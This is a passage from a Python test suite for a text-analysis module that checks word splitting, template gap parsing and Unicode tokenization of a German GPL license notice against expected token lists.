beyond the simple doctests that exist in the code @skipIf(True, 'Performance tests only') class TestAnalysisPerformance(FileBasedTesting): test_data_dir = os.path.join(os.path.dirname(__file__), 'data') def test_splitter_perf(self): test_file = self.get_test_loc('perf/test.txt') text = open(test_file).read() * 100 utext = unicode(text) setup1 = ''' import re from textcode import analysis unicode_ws = analysis.word_splitter plain_ws =re.compile(r'[^\W_]+').finditer unicode_ts = analysis.template_splitter plain_ts= re.compile(r'(?:[^\W_])+|(?:\{\{)|(?:\}\})').finditer text = %r utext = %r''' % (text, utext) def check_perf(setup): from timeit import timeit stmt = 'list(w for w in %s(%s))' print() print('Unicode template') print(timeit(stmt % ('unicode_ts', 'utext'), setup=setup, number=1000)) print('Plain template') print(timeit(stmt % ('plain_ts', 'text'), setup=setup, number=1000)) print('Unicode words') print(timeit(stmt % ('unicode_ws', 'utext'), setup=setup, number=1000)) print('Plain words') print(timeit(stmt % ('plain_ws', 'text'), setup=setup, number=1000)) print('Plain split') print(timeit('text.split()', setup=setup, number=1000)) print('Unicode split') print(timeit('utext.split()', setup=setup, number=1000)) print('Line split') print(timeit('text.splitlines(False)', setup=setup, number=1000)) print('Line split with ends') print(timeit('text.splitlines(True)', setup=setup, number=1000)) check_perf(setup=setup1) setup2 = ''' import re from textcode import analysis unicode_ws = analysis.word_splitter plain_ws =re.compile(r'[^\W_]+').finditer unicode_ts = analysis.template_splitter plain_ts= re.compile(r'(?:[^\W_])+|(?:\{\{)|(?:\}\})').finditer text = %r utext = %r''' % (text, utext) check_perf(setup=setup2)

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from __future__ import absolute_import, print_function import json import os import codecs import cPickle from unittest.case import skipIf from commoncode.testcase import FileBasedTesting from textcode.analysis import DEFAULT_GAP from textcode.analysis import NO_GAP from textcode.analysis import InvalidGapError from textcode.analysis import UnbalancedTemplateError from textcode.analysis import Token from textcode.analysis import word_splitter from textcode.analysis import unigram_splitter from textcode.analysis import unigram_tokenizer from textcode.analysis import position_processor from textcode.analysis import template_splitter from textcode.analysis import template_processor from textcode.analysis import ngram_to_token from textcode.analysis import ngram_tokenizer from textcode.analysis import tokens_ngram_processor from textcode.analysis import doc_subset from textcode.analysis import unicode_text_lines from textcode.analysis import text_lines ) result = [t.value for t in tst] assert expected == result class TestTemplates(FileBasedTesting): test_data_dir = os.path.join(os.path.dirname(__file__), 'data') def template_parsing(self, lines): if isinstance(lines, basestring): lines = lines.splitlines() unigrams = unigram_splitter(lines, splitter=template_splitter) return list(template_processor(unigrams)) def test_process_template_handles_empty_templates_using_default_gap(self): lines = [u'ab{{}}cd'] expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=DEFAULT_GAP), Token(start_line=0, end_line=0, start_char=6, end_char=8, value=u'cd', gap=NO_GAP) ] assert expected == self.template_parsing(lines) def test_process_template_recognizes_template_with_gap(self): lines = u'ab{{10 nexb Company}}cd' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=10), Token(start_line=0, end_line=0, start_char=21, end_char=23, value=u'cd', gap=NO_GAP) ] assert expected == self.template_parsing(lines) def test_process_template_raise_invalid_gap_exception(self): lines = u'ab{{151 nexb Company}}cd' self.assertRaises(InvalidGapError, self.template_parsing, lines) def test_process_template_recognizes_template_with_maxgap(self): lines = u'ab{{150 nexb Company}}cd' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=150), Token(start_line=0, end_line=0, start_char=22, end_char=24, value=u'cd', gap=NO_GAP) ] assert expected == self.template_parsing(lines) def test_process_template_recognizes_template_with_only_gap(self): lines = u'ab{{10}}cd' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=10), Token(start_line=0, end_line=0, start_char=8, end_char=10, value=u'cd', gap=NO_GAP) ] assert expected == self.template_parsing(lines) def test_process_template_recognizes_template_with_only_gap_and_spaces(self): lines = u'ab{{ 10 }}cd' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=10), Token(start_line=0, end_line=0, start_char=16, end_char=18, value=u'cd', gap=NO_GAP) ] assert expected == self.template_parsing(lines) def test_process_template_set_default_gap_if_none_is_specified(self): lines = u'ab{{nexb Company}}cd' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=DEFAULT_GAP), Token(start_line=0, end_line=0, start_char=18, end_char=20, value=u'cd', gap=NO_GAP) ] assert expected == self.template_parsing(lines) def test_process_template_set_default_gap_if_none_is_specified_ignoring_spaces(self): lines = u'ab{{ \sdsdnexb Companysd }}cd' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=DEFAULT_GAP), Token(start_line=0, end_line=0, start_char=28, end_char=30, value=u'cd', gap=NO_GAP) ] assert expected == self.template_parsing(lines) def test_process_template_can_process_multiple_templatized_regions_with_default_gap(self): lines = u'ab{{nexb Company}}cd {{second}}ef' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=DEFAULT_GAP), Token(start_line=0, end_line=0, start_char=18, end_char=20, value=u'cd', gap=DEFAULT_GAP), Token(start_line=0, end_line=0, start_char=31, end_char=33, value=u'ef', gap=NO_GAP), ] assert expected == self.template_parsing(lines) def test_process_template_can_process_multiple_templatized_regions_with_default_gap_and_custom_gaps(self): lines = u'ab{{nexb Company}}cd{{12 second}}ef{{12 second}}gh' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=DEFAULT_GAP), Token(start_line=0, end_line=0, start_char=18, end_char=20, value=u'cd', gap=12), Token(start_line=0, end_line=0, start_char=33, end_char=35, value=u'ef', gap=12), Token(start_line=0, end_line=0, start_char=48, end_char=50, value=u'gh', gap=NO_GAP), ] assert expected == self.template_parsing(lines) def test_process_template_handles_combination_of_well_formed_and_ill_formed_templates(self): lines = u'ab{{c}}d}}ef' expected = [ Token(start_line=0, end_line=0, start_char=0, end_char=2, value=u'ab', gap=DEFAULT_GAP), Token(start_line=0, end_line=0, start_char=7, end_char=8, value=u'd', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=10, end_char=12, value=u'ef', gap=NO_GAP), ] assert expected == self.template_parsing(lines) def test_process_template_handles_empty_lines(self): lines = u'\n\n' expected = [] assert expected == self.template_parsing(lines) def test_process_template_handles_None(self): lines = None expected = [] assert expected == self.template_parsing(lines) def test_process_template_can_parse_simple_line(self): lines = u'Licensed by {{12 nexB}} to you ' expected = u'licensed by to you' result = u' '.join(x.value for x in self.template_parsing(lines)) assert expected == result def test_process_template_does_not_throw_exception_for_illegal_pystache_templates(self): lines = u'''Permission to use, copy, modify, and {{ /or : the lines exist without or }} distribute this software...''' self.template_parsing(lines) def test_process_template_handles_unicode_text_correctly(self): expected = [ Token(start_line=0, end_line=0, start_char=1, end_char=4, value=u'ist', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=5, end_char=10, value=u'freie', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=11, end_char=19, value=u'software', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=21, end_char=24, value=u'sie', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=25, end_char=31, value=u'k\xf6nnen', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=32, end_char=34, value=u'es', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=35, end_char=40, value=u'unter', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=41, end_char=44, value=u'den', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=45, end_char=56, value=u'bedingungen', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=57, end_char=60, value=u'der', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=61, end_char=64, value=u'gnu', gap=NO_GAP), Token(start_line=1, end_line=1, start_char=1, end_char=8, value=u'general', gap=NO_GAP), Token(start_line=1, end_line=1, start_char=10, end_char=11, value=u'n', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=1, end_char=7, value=u'public', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=8, end_char=15, value=u'license', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=17, end_char=20, value=u'wie', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=21, end_char=24, value=u'von', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=25, end_char=28, value=u'der', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=29, end_char=33, value=u'free', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=34, end_char=42, value=u'software', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=43, end_char=53, value=u'foundation', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=54, end_char=68, value=u'ver\xf6ffentlicht', gap=NO_GAP), Token(start_line=3, end_line=3, start_char=1, end_char=12, value=u'weitergeben', gap=NO_GAP), Token(start_line=3, end_line=3, start_char=13, end_char=16, value=u'und', gap=NO_GAP), Token(start_line=3, end_line=3, start_char=17, end_char=21, value=u'oder', gap=NO_GAP), Token(start_line=3, end_line=3, start_char=23, end_char=24, value=u'n', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=1, end_char=13, value=u'modifizieren', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=15, end_char=23, value=u'entweder', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=24, end_char=29, value=u'gem\xe4\xdf', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=30, end_char=37, value=u'version', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=38, end_char=39, value=u'3', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=40, end_char=43, value=u'der', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=44, end_char=50, value=u'lizenz', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=51, end_char=55, value=u'oder', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=57, end_char=61, value=u'nach', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=62, end_char=67, value=u'ihrer', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=68, end_char=74, value=u'option', gap=NO_GAP), Token(start_line=5, end_line=5, start_char=1, end_char=6, value=u'jeder', gap=NO_GAP), Token(start_line=5, end_line=5, start_char=7, end_char=15, value=u'sp\xe4teren', gap=NO_GAP), Token(start_line=5, end_line=5, start_char=17, end_char=18, value=u'n', gap=NO_GAP), Token(start_line=6, end_line=6, start_char=1, end_char=8, value=u'version', gap=NO_GAP), Token(start_line=6, end_line=6, start_char=10, end_char=11, value=u'n', gap=NO_GAP), Token(start_line=7, end_line=7, start_char=2, end_char=3, value=u'n', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=1, end_char=4, value=u'die', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=5, end_char=21, value=u'ver\xf6ffentlichung', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=22, end_char=25, value=u'von', gap=DEFAULT_GAP), Token(start_line=8, end_line=8, start_char=38, end_char=45, value=u'erfolgt', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=46, end_char=48, value=u'in', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=49, end_char=52, value=u'der', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=53, end_char=61, value=u'hoffnung', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=63, end_char=66, value=u'da\xdf', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=67, end_char=69, value=u'es', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=70, end_char=75, value=u'ihnen', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=76, end_char=79, value=u'von', gap=NO_GAP), Token(start_line=9, end_line=9, start_char=1, end_char=7, value=u'nutzen', gap=NO_GAP), Token(start_line=9, end_line=9, start_char=9, end_char=10, value=u'n', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=1, end_char=5, value=u'sein', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=6, end_char=10, value=u'wird', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=12, end_char=16, value=u'aber', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=17, end_char=21, value=u'ohne', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=22, end_char=32, value=u'irgendeine', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=33, end_char=41, value=u'garantie', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=43, end_char=48, value=u'sogar', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=49, end_char=53, value=u'ohne', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=54, end_char=57, value=u'die', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=58, end_char=67, value=u'implizite', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=68, end_char=76, value=u'garantie', gap=NO_GAP), Token(start_line=11, end_line=11, start_char=1, end_char=4, value=u'der', gap=NO_GAP), Token(start_line=11, end_line=11, start_char=5, end_char=15, value=u'marktreife', gap=NO_GAP), Token(start_line=11, end_line=11, start_char=17, end_char=18, value=u'n', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=1, end_char=5, value=u'oder', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=6, end_char=9, value=u'der', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=10, end_char=24, value=u'verwendbarkeit', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=25, end_char=28, value=u'f\xfcr', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=29, end_char=34, value=u'einen', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=35, end_char=45, value=u'bestimmten', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=46, end_char=51, value=u'zweck', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=53, end_char=60, value=u'details', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=61, end_char=67, value=u'finden', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=68, end_char=71, value=u'sie', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=72, end_char=74, value=u'in', gap=NO_GAP), Token(start_line=13, end_line=13, start_char=1, end_char=4, value=u'der', gap=NO_GAP), Token(start_line=13, end_line=13, start_char=5, end_char=8, value=u'gnu', gap=NO_GAP), Token(start_line=13, end_line=13, start_char=9, end_char=16, value=u'general', gap=NO_GAP), Token(start_line=13, end_line=13, start_char=18, end_char=19, value=u'n', gap=NO_GAP), Token(start_line=14, end_line=14, start_char=1, end_char=7, value=u'public', gap=NO_GAP), Token(start_line=14, end_line=14, start_char=8, end_char=15, value=u'license', gap=NO_GAP), Token(start_line=14, end_line=14, start_char=17, end_char=18, value=u'n', gap=NO_GAP), Token(start_line=15, end_line=15, start_char=2, end_char=3, value=u'n', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=1, end_char=4, value=u'sie', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=5, end_char=12, value=u'sollten', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=13, end_char=16, value=u'ein', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=17, end_char=25, value=u'exemplar', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=26, end_char=29, value=u'der', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=30, end_char=33, value=u'gnu', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=34, end_char=41, value=u'general', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=42, end_char=48, value=u'public', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=49, end_char=56, value=u'license', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=57, end_char=65, value=u'zusammen', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=66, end_char=69, value=u'mit', gap=DEFAULT_GAP), Token(start_line=17, end_line=17, start_char=2, end_char=3, value=u'n', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=1, end_char=9, value=u'erhalten', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=10, end_char=15, value=u'haben', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=17, end_char=22, value=u'falls', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=23, end_char=28, value=u'nicht', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=30, end_char=39, value=u'schreiben', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=40, end_char=43, value=u'sie', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=44, end_char=46, value=u'an', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=47, end_char=50, value=u'die', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=51, end_char=55, value=u'free', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=56, end_char=64, value=u'software', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=65, end_char=75, value=u'foundation', gap=NO_GAP), Token(start_line=19, end_line=19, start_char=2, end_char=3, value=u'n', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=1, end_char=4, value=u'inc', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=7, end_char=9, value=u'51', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=10, end_char=18, value=u'franklin', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=19, end_char=21, value=u'st', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=23, end_char=28, value=u'fifth', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=29, end_char=34, value=u'floor', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=36, end_char=42, value=u'boston', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=44, end_char=46, value=u'ma', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=47, end_char=52, value=u'02110', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=54, end_char=57, value=u'usa', gap=NO_GAP), ] test_file = self.get_test_loc('analysis/unicode/12180.atxt') with codecs.open(test_file, encoding='utf-8') as test: lines = test.read().splitlines() result = list(self.template_parsing(lines)) assert expected == result def test_process_template_can_handle_long_text(self): expected = [ Token(start_line=0, end_line=0, start_char=14, end_char=17, value=u'ist', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=18, end_char=23, value=u'freie', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=24, end_char=32, value=u'software', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=34, end_char=37, value=u'sie', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=38, end_char=44, value=u'k\xf6nnen', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=45, end_char=47, value=u'es', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=48, end_char=53, value=u'unter', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=54, end_char=57, value=u'den', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=58, end_char=69, value=u'bedingungen', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=70, end_char=73, value=u'der', gap=NO_GAP), Token(start_line=0, end_line=0, start_char=74, end_char=77, value=u'gnu', gap=NO_GAP), Token(start_line=1, end_line=1, start_char=1, end_char=8, value=u'general', gap=NO_GAP), Token(start_line=1, end_line=1, start_char=10, end_char=11, value=u'n', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=1, end_char=7, value=u'public', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=8, end_char=15, value=u'license', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=17, end_char=20, value=u'wie', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=21, end_char=24, value=u'von', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=25, end_char=28, value=u'der', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=29, end_char=33, value=u'free', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=34, end_char=42, value=u'software', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=43, end_char=53, value=u'foundation', gap=NO_GAP), Token(start_line=2, end_line=2, start_char=54, end_char=68, value=u'ver\xf6ffentlicht', gap=NO_GAP), Token(start_line=3, end_line=3, start_char=1, end_char=12, value=u'weitergeben', gap=NO_GAP), Token(start_line=3, end_line=3, start_char=13, end_char=16, value=u'und', gap=NO_GAP), Token(start_line=3, end_line=3, start_char=17, end_char=21, value=u'oder', gap=NO_GAP), Token(start_line=3, end_line=3, start_char=23, end_char=24, value=u'n', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=1, end_char=13, value=u'modifizieren', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=15, end_char=23, value=u'entweder', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=24, end_char=29, value=u'gem\xe4\xdf', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=30, end_char=37, value=u'version', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=38, end_char=39, value=u'3', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=40, end_char=43, value=u'der', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=44, end_char=50, value=u'lizenz', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=51, end_char=55, value=u'oder', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=57, end_char=61, value=u'nach', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=62, end_char=67, value=u'ihrer', gap=NO_GAP), Token(start_line=4, end_line=4, start_char=68, end_char=74, value=u'option', gap=NO_GAP), Token(start_line=5, end_line=5, start_char=1, end_char=6, value=u'jeder', gap=NO_GAP), Token(start_line=5, end_line=5, start_char=7, end_char=15, value=u'sp\xe4teren', gap=NO_GAP), Token(start_line=5, end_line=5, start_char=17, end_char=18, value=u'n', gap=NO_GAP), Token(start_line=6, end_line=6, start_char=1, end_char=8, value=u'version', gap=NO_GAP), Token(start_line=6, end_line=6, start_char=10, end_char=11, value=u'n', gap=NO_GAP), Token(start_line=7, end_line=7, start_char=2, end_char=3, value=u'n', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=1, end_char=4, value=u'die', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=5, end_char=21, value=u'ver\xf6ffentlichung', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=22, end_char=25, value=u'von', gap=DEFAULT_GAP), Token(start_line=8, end_line=8, start_char=38, end_char=45, value=u'erfolgt', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=46, end_char=48, value=u'in', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=49, end_char=52, value=u'der', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=53, end_char=61, value=u'hoffnung', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=63, end_char=66, value=u'da\xdf', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=67, end_char=69, value=u'es', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=70, end_char=75, value=u'ihnen', gap=NO_GAP), Token(start_line=8, end_line=8, start_char=76, end_char=79, value=u'von', gap=NO_GAP), Token(start_line=9, end_line=9, start_char=1, end_char=7, value=u'nutzen', gap=NO_GAP), Token(start_line=9, end_line=9, start_char=9, end_char=10, value=u'n', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=1, end_char=5, value=u'sein', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=6, end_char=10, value=u'wird', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=12, end_char=16, value=u'aber', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=17, end_char=21, value=u'ohne', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=22, end_char=32, value=u'irgendeine', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=33, end_char=41, value=u'garantie', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=43, end_char=48, value=u'sogar', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=49, end_char=53, value=u'ohne', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=54, end_char=57, value=u'die', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=58, end_char=67, value=u'implizite', gap=NO_GAP), Token(start_line=10, end_line=10, start_char=68, end_char=76, value=u'garantie', gap=NO_GAP), Token(start_line=11, end_line=11, start_char=1, end_char=4, value=u'der', gap=NO_GAP), Token(start_line=11, end_line=11, start_char=5, end_char=15, value=u'marktreife', gap=NO_GAP), Token(start_line=11, end_line=11, start_char=17, end_char=18, value=u'n', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=1, end_char=5, value=u'oder', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=6, end_char=9, value=u'der', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=10, end_char=24, value=u'verwendbarkeit', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=25, end_char=28, value=u'f\xfcr', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=29, end_char=34, value=u'einen', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=35, end_char=45, value=u'bestimmten', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=46, end_char=51, value=u'zweck', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=53, end_char=60, value=u'details', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=61, end_char=67, value=u'finden', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=68, end_char=71, value=u'sie', gap=NO_GAP), Token(start_line=12, end_line=12, start_char=72, end_char=74, value=u'in', gap=NO_GAP), Token(start_line=13, end_line=13, start_char=1, end_char=4, value=u'der', gap=NO_GAP), Token(start_line=13, end_line=13, start_char=5, end_char=8, value=u'gnu', gap=NO_GAP), Token(start_line=13, end_line=13, start_char=9, end_char=16, value=u'general', gap=NO_GAP), Token(start_line=13, end_line=13, start_char=18, end_char=19, value=u'n', gap=NO_GAP), Token(start_line=14, end_line=14, start_char=1, end_char=7, value=u'public', gap=NO_GAP), Token(start_line=14, end_line=14, start_char=8, end_char=15, value=u'license', gap=NO_GAP), Token(start_line=14, end_line=14, start_char=17, end_char=18, value=u'n', gap=NO_GAP), Token(start_line=15, end_line=15, start_char=2, end_char=3, value=u'n', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=1, end_char=4, value=u'sie', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=5, end_char=12, value=u'sollten', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=13, end_char=16, value=u'ein', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=17, end_char=25, value=u'exemplar', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=26, end_char=29, value=u'der', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=30, end_char=33, value=u'gnu', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=34, end_char=41, value=u'general', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=42, end_char=48, value=u'public', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=49, end_char=56, value=u'license', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=57, end_char=65, value=u'zusammen', gap=NO_GAP), Token(start_line=16, end_line=16, start_char=66, end_char=69, value=u'mit', gap=DEFAULT_GAP), Token(start_line=17, end_line=17, start_char=2, end_char=3, value=u'n', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=1, end_char=9, value=u'erhalten', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=10, end_char=15, value=u'haben', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=17, end_char=22, value=u'falls', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=23, end_char=28, value=u'nicht', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=30, end_char=39, value=u'schreiben', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=40, end_char=43, value=u'sie', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=44, end_char=46, value=u'an', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=47, end_char=50, value=u'die', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=51, end_char=55, value=u'free', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=56, end_char=64, value=u'software', gap=NO_GAP), Token(start_line=18, end_line=18, start_char=65, end_char=75, value=u'foundation', gap=NO_GAP), Token(start_line=19, end_line=19, start_char=2, end_char=3, value=u'n', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=1, end_char=4, value=u'inc', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=7, end_char=9, value=u'51', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=10, end_char=18, value=u'franklin', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=19, end_char=21, value=u'st', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=23, end_char=28, value=u'fifth', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=29, end_char=34, value=u'floor', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=36, end_char=42, value=u'boston', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=44, end_char=46, value=u'ma', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=47, end_char=52, value=u'02110', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=54, end_char=57, value=u'usa', gap=NO_GAP), ] test_file = self.get_test_loc('analysis/unicode/12180.txt') with codecs.open(test_file, encoding='utf-8') as test: result = list(self.template_parsing(test)) assert expected == result def test_process_template_does_not_crash_on_unicode_rules_text_1(self): test_file = self.get_test_loc('analysis/unicode/12290.txt') with codecs.open(test_file, encoding='utf-8') as test: list(self.template_parsing(test)) def test_process_template_does_not_crash_on_unicode_rules_text_2(self): test_file = self.get_test_loc('analysis/unicode/12319.txt') with codecs.open(test_file, encoding='utf-8') as test: list(self.template_parsing(test)) def test_process_template_does_not_crash_on_unicode_rules_text_3(self): test_file = self.get_test_loc('analysis/unicode/12405.txt') with codecs.open(test_file, encoding='utf-8') as test: list(self.template_parsing(test)) def test_process_template_does_not_crash_on_unicode_rules_text_4(self): test_file = self.get_test_loc('analysis/unicode/12407.txt') with codecs.open(test_file, encoding='utf-8') as test: list(self.template_parsing(test)) def test_process_template_does_not_crash_on_unicode_rules_text_5(self): test_file = self.get_test_loc('analysis/unicode/12420.txt') with codecs.open(test_file, encoding='utf-8') as test: list(self.template_parsing(test)) def 